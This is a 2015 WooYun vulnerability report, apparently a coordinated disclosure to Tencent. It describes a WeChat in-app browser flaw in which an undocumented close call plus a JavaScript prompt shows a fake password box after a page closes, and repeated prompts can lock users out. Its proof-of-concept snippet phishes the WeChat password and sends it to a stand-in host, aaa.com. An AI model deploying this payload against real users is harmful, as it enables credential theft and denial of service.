当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111191

漏洞标题:祝贺某人大婚-微信设计缺陷导致微信拒绝服务或获取用户密码

相关厂商:腾讯

漏洞作者: only_guest

提交时间:2015-04-30 10:55

修复时间:2015-06-14 14:24

公开时间:2015-06-14 14:24

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-30: 细节已通知厂商并且等待厂商处理中
2015-04-30: 厂商已经确认,细节仅向厂商公开
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

微信设计缺陷导致微信拒绝服务或获取用户密码。

详细说明:

微信中打开一个网页后,在关闭的时候会把页面先挂起到后台1-2秒钟才关闭。
在这个时间段内使用prompt来把页面keep住,微信里面的网页用window.close是无法自己关闭页面的,我们要让用户打开页面后自动关闭并且弹窗就很难实现了。
但是微信给我们提供了一个很好的方法,当然这个方法是微信没有公开的方法。
WeixinJSBridge.invoke("closeWindow",{},function(e)
使用这个方法就可以自动关闭当前页面,并且在关闭的时候弹出prompt来keep住这个窗体。
prompt可以在用户关闭页面后在微信的聊天窗体中弹出。
此时提示用户输入敏感信息如密码等。
服务端任然可以接收到这些信息。
当然如果你无聊的话可以选择一直弹窗。让用户无法关闭。只能关闭微信进程,造成拒绝服务的效果。
总结吐下:
1. 点开页面
3. 在关闭的回调事件事件中使用 prompt 阻塞 webview 的线程
2. 使用 WeixinJSBridge 隐藏网页
5. prompt 触发,显示钓鱼框
6. 发送 prompt 接收到的数据到攻击者服务端
7. 1 - 2 秒后线程自动关闭
效果图如下:

1.png


服务端收到的密码信息如下:

2.png

漏洞证明:

WeixinJSBridge.invoke("closeWindow",{},function(e){
setTimeout(function(){new Image().src="http://aaa.com/?pwd="+escape(prompt("登录超时,请输入微信密码进行认证:",""))+"&hash="+Math.random();},800);
});

修复方案:

安卓下面测试没有成功,iPhone下测试存在。
应该是为了在点击关闭按钮后即时切换页面导致的。
有了用户体验就没了安全
应该双向考虑

版权声明:转载请注明来源 only_guest@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-30 14:23

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无